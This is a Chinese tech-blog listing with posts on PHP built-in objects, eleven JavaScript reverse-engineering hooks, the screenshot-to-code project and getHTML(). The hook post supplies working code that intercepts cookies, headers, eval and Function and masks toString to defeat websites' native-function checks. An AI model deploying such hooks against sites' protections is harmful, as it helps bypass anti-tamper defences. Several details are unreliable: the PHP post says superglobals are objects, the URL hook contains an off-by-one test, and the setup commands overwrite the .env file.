PHP 内置对象是什么? 这个问题看似简单,实则暗藏玄机。简单来说,它们是 PHP 语言自带的、无需你额外声明就能直接使用的对象。但 “直接使用” 背后,是 PHP 运行时环境为你默默构建的一整套机制,理解它,能让你写出更优雅、更高效的 PHP 代码。 首先,咱们得明确一点,这些对象并非凭空出现。它们是 PHP 处理各种请求、管理资源、执行操作的基石。例如,你访问一个数据库,背后是 PDO 对象在默默工作;你处理用户上传的文件,$_FILES 数组(虽然是数组,但其底层依赖对象机制)帮你收集信息;甚至你写的每一个函数,都在 Closure 对象的庇护下运行。 深入挖掘,你会发现 PHP 内置对象大致可以分为几类: 一、与请求相关的对象 $_GET、$_POST、$_REQUEST、$_SERVER、$_COOKIE、$_SESSION,这些家伙们是处理 HTTP 请求的得力干将,它们分别从不同的渠道收集信息,将用户的请求转化为 PHP 能理解的数据结构。 别小看它们,安全问题往往就藏在对这些对象的处理中。例如,直接使用 $_GET 或 $_POST 的值而不进行任何过滤,很容易造成 SQL 注入或 XSS 攻击。 记住,永远不要相信用户输入,这是程序员的金科玉律。 二、与文件操作相关的对象 SplFileInfo、SplFileObject 等,它们是文件系统操作的利器,用它们可以更方便地处理文件和目录。与直接使用 fopen、fread 等函数相比,面向对象的方式更易于维护和扩展。 一个典型的例子:你需要遍历一个目录下的所有文件,SplFileInfo 可以让你轻松实现,避免了繁琐的循环和错误处理。 三、与数据库操作相关的对象 PDO (PHP Data Objects) 是连接数据库的标准接口。虽然它并非像 $_GET 那样可以直接使用,但它提供了访问各种数据库的统一方式。 使用 PDO 的好处在于,它帮你屏蔽了不同数据库之间的差异,让你只需关注 SQL 语句本身,而不用担心数据库连接细节。 但 PDO 的使用也有一些坑,比如参数绑定一定要做好,否则很容易造成 SQL 注入。 四、与异常处理相关的对象 Exception 及其子类,是处理程序错误的基石。抛出异常,优雅地处理错误,是写出健壮程序的关键。 别总是用 die() 或 exit() 来结束程序,学会使用异常处理,能让你的程序更易于调试和维护。 一个小例子,感受一下 SplFileInfo 的魅力: <?php $directory = new \RecursiveDirectoryIterator('./my_directory'); $iterator = new \RecursiveIteratorIterator($directory); foreach ($iterator as $file) { if ($file->isDir()) { echo "Directory: " . $file->getPathname() . PHP_EOL; } elseif ($file->isFile()) { echo "File: " . $file->getPathname() . " (" . $file->getSize() . " bytes)" . PHP_EOL; } } ?>这段代码简洁地遍历了一个目录及其子目录下的所有文件和目录,并打印出文件名和大小。 如果没有 SplFileInfo 和 RecursiveIteratorIterator,你得写一大堆代码来实现同样的功能。 最后,我想说,深入理解 PHP 内置对象,不仅能让你写出更优雅的代码,还能提升你的编程水平。它们是 PHP 运行时的核心组成部分,理解它们的工作机制,才能真正驾驭这门语言。 别只是停留在表面,去探索它们的内部细节,你会发现更多惊喜。
技术教程
# PHP
易航
1月10日
0
21
0
2025-01-10
JavaScript逆向时,常用的11个hook
在逆向分析JavaScript代码时,开发者经常使用一些用于hook(钩子)的技术来监视或修改程序的行为。以下是一些常用的hook技术及其示例代码。 01、dom操作 在JS逆向油猴脚本中,DOM操作是最常用的一种Hook方式。通过修改DOM元素的属性和样式,我们可以实现对网页的控制和修改。 // 修改DOM元素的属性 document.getElementById('elementId').setAttribute('attrName', 'attrValue'); // 修改DOM元素的样式 document.getElementById('elementId').style.property = 'value';02、Cookie操作 Cookie Hook 用于定位 Cookie 中关键参数生成位置,以下代码演示了当 Cookie 中匹配到了 \_\_dfp 关键字, 则插入断点: (function () { 'use strict'; var cookieTemp = ''; Object.defineProperty(document, 'cookie', { set: function (val) { if (val.indexOf('__dfp') != -1) { debugger; } console.log('Hook捕获到cookie设置->', val); cookieTemp = val; return val; }, get: function () { return cookieTemp; }, }); })(); (function () { 'use strict'; var org = document.cookie.__lookupSetter__('cookie'); document.__defineSetter__('cookie', function (cookie) { if (cookie.indexOf('__dfp') != -1) { debugger; } org = cookie; }); document.__defineGetter__('cookie', function () { return org; }); })();03、事件监听操作 事件监听也是JS逆向油猴脚本中常用的一种Hook方式。通过监听网页上的事件,我们可以触发自定义的操作和行为。 // 监听按钮点击事件 document.getElementById('buttonId').addEventListener('click', function() { // 自定义操作和行为 });04、AJAX拦截操作 AJAX拦截也是JS逆向油猴脚本中常用的一种Hook方式。通过拦截网页上的AJAX请求,我们可以实现对数据的控制和修改。 // 拦截AJAX请求 XMLHttpRequest.prototype._send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function() { // 自定义操作和行为 this._send.apply(this, arguments); };05、函数替换操作 函数替换也是JS逆向油猴脚本中常用的一种Hook方式。通过替换网页上的函数,我们可以实现对函数的控制和修改。 // 替换原有函数 var originalFunction = window.functionName; window.functionName = function() { // 自定义操作和行为 originalFunction.apply(this, arguments); };06、Header操作 Header Hook 用于定位 Header 中关键参数生成位置,以下代码演示了当 Header 中包含 Authorization 关键字时,则插入断点: (function () { var org = window.XMLHttpRequest.prototype.setRequestHeader; window.XMLHttpRequest.prototype.setRequestHeader = function (key, value) { if (key == 'Authorization') { debugger; } return org.apply(this, arguments); }; })()07、URL操作 URL Hook 用于定位请求 URL 中关键参数生成位置,以下代码演示了当请求的 URL 里包含 login 关键字时,则插入断点: (function () { var open = window.XMLHttpRequest.prototype.open; window.XMLHttpRequest.prototype.open = function (method, url, async) { if (url.indexOf("login") != 1) { debugger; } return open.apply(this, arguments); }; })();08、JSON.stringify操作 JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串,在某些站点的加密过程中可能会遇到,以下代码演示了遇到 JSON.stringify() 时,则插入断点: (function() { var stringify = JSON.stringify; JSON.stringify = function(params) { console.log("Hook JSON.stringify ——> ", params); debugger; return stringify(params); } })();09、JSON.parse操作 JSON.parse() 方法用于将一个 JSON 字符串转换为对象,在某些站点的加密过程中可能会遇到,以下代码演示了遇到 JSON.parse() 时,则插入断点: (function() { var parse = JSON.parse; JSON.parse = function(params) { console.log("Hook JSON.parse ——> ", params); debugger; return parse(params); } })();10、eval操作 JavaScript eval() 函数的作用是计算 JavaScript 字符串,并把它作为 脚本代码来执行。如果参数是一个表达式,eval() 函数将执行表达式。如果参数是 Javascript 语句,eval() 将执行 Javascript 语句,经常被用来动态执行 JS。以下代码执行后,之后所有的 eval() 操作都会在控制台打印输出将要执行的 JS 源码: (function() { // 保存原始方法 window.__cr_eval = window.eval; // 重写 eval var myeval = function(src) { console.log(src); console.log("=============== eval end ==============="); debugger; return window.__cr_eval(src); } // 屏蔽 JS 中对原生函数 native 属性的检测 var _myeval = myeval.bind(null); _myeval.toString = window.__cr_eval.toString; Object.defineProperty(window, 'eval', { value: _myeval }); })();11、Function操作 以下代码执行后,所有的函数操作都会在控制台打印输出将要执行的 JS 源码: (function() { // 保存原始方法 window.__cr_fun = window.Function; // 重写 function var myfun = function() { var args = Array.prototype.slice.call(arguments, 0, -1).join(","), src = arguments[arguments.length - 1]; console.log(src); console.log("=============== Function end ==============="); debugger; return window.__cr_fun.apply(this, arguments); } // 屏蔽js中对原生函数native属性的检测 myfun.toString = function() { return window.__cr_fun + "" } Object.defineProperty(window, 'Function', { value: myfun }); })();本文到此结束,感谢您的阅读,祝编程愉快!
技术教程
# Web前端
易航
1月10日
0
31
0
2025-01-10
绝了!图片可以直接转成代码!开发是越来越简单了~~~
平时我们浏览网站的时候,经常会遇到令人眼前一亮的网页设计,如果能够将这些设计元素或者整个页面的布局应用到自己的项目中,那该多好? 今天就就给大家介绍一个能够将截图转为代码的开源项目 screenshot-to-code。 screenshot-to-code 项目通过结合先进的 AI 技术,为开发者和设计师提供了一个从视觉设计到代码实现的高效工具,极大地简化了开发流程。 screenshot-to-code 可以把界面设计截图直接转化为 HTML、CSS 或 JavaScript 代码,这样能帮助开发者快速生成网页前端代码。无论是一个按钮、一个导航栏,还是整个页面布局都能从截图转换成实际的前端代码。 图片 screenshot-to-code支持将截图转换成 HTML、Tailwind CSS、React 和 Vue 等现代技术栈的代码 。 用户还可以输入 URL 来克隆实时网站 。 图片 现在支持 Claude Sonnet 3.5 和 GPT-4o! {iframe src="https://www.lequxiang.com.cn/view.php/5bdd13d974c3bcdf09c0f55de4c58840.mp4" height="40vh"/} {iframe src="https://www.lequxiang.com.cn/view.php/d5ec12c1432e8e9fef6d375a2f452b99.mp4" height="40vh"/} 开源地址:隐藏内容,请前往内页查看详情 官方网站:隐藏内容,请前往内页查看详情 支持的技术栈: HTML + Tailwind HTML + CSS React + Tailwind Vue + Tailwind Bootstrap Ionic + Tailwind SVG 支持的人工智能模型: Claude Sonnet 3.5 GPT-4o DALL-E 3 或 Flux Schnell(使用 Replicate)用于图像生成 此外,该项目还可以将网站的视频/录屏转换成网页,演示如下: {iframe src="https://www.lequxiang.com.cn/view.php/603a2aed15a31b1962e64eee146f299e.mp4" height="50vh"/} 安装使用 该项目使用 React/Vite 作为前端, FastAPI 作为后端。 需要 GPT-4 的 OpenAI API 密钥或 Anthropic 密钥(可选), 推荐两者都使用,以便你可以比较 Claude 和 GPT4o 的结果。 运行后端(使用 Poetry 进行包管理 - 如果你没有它,请安装 pip install poetry): cd backend echo "OPENAI_API_KEY=sk-your-key" > .env echo "ANTHROPIC_API_KEY=your-key" > .env poetry install poetry shell poetry run uvicorn main:app --reload --port 7001OpenAI API 密钥也可以通过前端的对话框设置密钥(加载前端后点击齿轮图标)。 图片 运行前端: cd frontend yarn yarn dev然后打开 http\://localhost:5173 就可以开始使用了。 图片 如果要使用其他端口,请更新 frontend/.env.local 中的 VITE\_WS\_BACKEND\_URL 配置选项。 如果你不想浪费 GPT4-Vision,你可以在模拟模式下运行后端: MOCK=true poetry run uvicorn main:app --reload --port 7001Docker 上安装 如果你已经安装了 Docker,可以使用 docker-compose 命令启动该项目: echo "OPENAI_API_KEY=sk-your-key" > .env docker-compose up -d --build接下来就可以在浏览器中打开 http://localhost:5173 使用了。 图片
源码资源
技术教程
# Web前端
# Python
# TypeScript
易航
1月10日
0
112
3
2025-01-08
getHTML() - 替代 innerHTML 的最佳方法
随着所有主流浏览器现已支持 getHTML() 方法,前端开发者有了一个强大的新工具来操作DOM。本文主要探讨 getHTML()的独特优势,特别是在处理Shadow DOM时的卓越表现。 getHTML()与innerHTML的异同 getHTML()和 innerHTML 的 getter 在基本功能上相似,都返回元素内部DOM树的HTML表示。但getHTML()的真正优势在于它能够包含Shadow DOM的HTML,而innerHTML则完全忽略Shadow DOM。 getHTML()的高级用法 getHTML()接受一个可选的options对象参数,通过适当的选项可以获取完整的HTML,包括Shadow DOM: const container = document.body; const host = createDiv(123); const root = attachShadowDOM(host); container.append(host); console.log(container.getHTML({ shadowRoots: [root] }));图片 这段代码会返回包含声明式Shadow Root的完整HTML: <div> <template shadowrootmode="open"> <p>Paragraph <slot>default</slot></p> </template> 123 </div>如果在浏览器中将返回的 上面的 HTML 作为新页面打开,则会再现原始 DOM 树: 图片 通常,shadow trees和slots是在自定义元素的构造函数中创建的,但为了保持上面和下面示例页面中的代码简单,这里没有创建任何自定义元素。相反,使用了两个辅助函数: // shared.js export function attach(host) { const shadowRoot = host.attachShadow({ mode: 'open' }); shadowRoot.innerHTML = '<p>Paragraph <slot>default</slot></p>'; return shadowRoot; } export function div(n) { const el = document.createElement('div'); if (n) el.innerHTML = n; return el; }div(n)创建一个新的div元素,里面包含数字n,例如<div>123</div>,而attach(host)将HTML为<p>Paragraph <slot>default</slot></p>的shadow树附加到host元素上。为了用常见情况挑战getHTML(),div中的数字123被分配到shadow DOM的slot中。 处理嵌套的Shadow DOM 在上面的页面中,getHTML()被调用时使用了所有两个可能的选项: <script type="module"> import { attach, div } from './shared.js'; const container=document.body; const host=div(123); const root=attach(host); container.append(host); console.log('>innerHTML',container.innerHTML); console.log('>getHTML',container.getHTML()); console.log('>getHTML2',container.getHTML({ serializableShadowRoots: true })); console.log('>getHTML3',container.getHTML({ shadowRoots: [root] })); </script>options对象可以有两个属性:serializableShadowRoots和shadowRoots。 当getHTML()在没有options的情况下被调用时,Shadow DOM会被忽略,就像在innerHTML中一样。 如果serializableShadowRoots为true,HTML将包括具有serializable属性设置为true的shadow roots。这样的roots通常不应该存在,因为serializable是与getHTML()一起引入的,默认情况下它是false。 要获取shadow roots的HTML,需要在shadowRoots属性中提供要序列化的shadow roots。当shadow roots是open的时候,可以很容易地递归检索网页中的所有shadow roots。在网页上下文中无法检索closed shadow roots,但可以在浏览器扩展注入的内容脚本中检索。 提供的shadow roots不一定会被序列化。在下一个示例页面中,创建了两个shadow trees。第二个shadow DOM嵌套在第一个中: <script type="module"> import { attach, div } from './shared.js'; const container=document.body; const host=div(123); const root=attach(host); container.append(host); const host2=div(456); const root2=attach(host2); container.append(host); root.append(host2); console.log('>innerHTML',container.innerHTML); console.log('>getHTML',container.getHTML()); console.log('>getHTML2',container.getHTML({ serializableShadowRoots: true })); console.log('>getHTML3',container.getHTML({ shadowRoots: [root] })); console.log('>getHTML4',container.getHTML({ shadowRoots: [root2] })); console.log('>getHTML5',container.getHTML({ shadowRoots: [root,root2] })); </script>如果第一个shadow DOM不包含在options中,getHTML()不会返回第二个shadow DOM的HTML: 要被序列化,shadow roots需要直接连接到要被序列化的DOM。如果省略了父shadow root,嵌套的shadow root也不会被序列化。 getHTML 局限性 缺少outerHTML等价物:目前还没有获取包含元素自身在内的HTML的方法。 单根元素限制:getHTML()返回的HTML如果没有单一根元素,浏览器可能无法正确解析为声明式Shadow DOM。 封闭的Shadow DOM:在网页上下文中无法获取封闭的Shadow DOM,但可以通过浏览器扩展的内容脚本来实现。 结语 getHTML()为开发者提供了一种强大的方法来处理包含Shadow DOM的复杂DOM结构。虽然它有一些限制,但在处理现代Web组件和复杂UI时,getHTML()的优势是显而易见的。随着Web组件的普及,掌握getHTML()将成为前端开发者的重要技能。 在实际开发中,getHTML()可以用于创建更精确的DOM快照、调试复杂的组件结构,以及在需要保留Shadow DOM结构的情况下序列化页面内容。随着Web标准的不断发展,我们可以期待看到更多类似getHTML()这样的强大API,进一步增强前端开发的能力和灵活性。
技术教程
# Web前端
易航
1月8日
0
24
0
上一页
1
...
3
4
5
...
16
下一页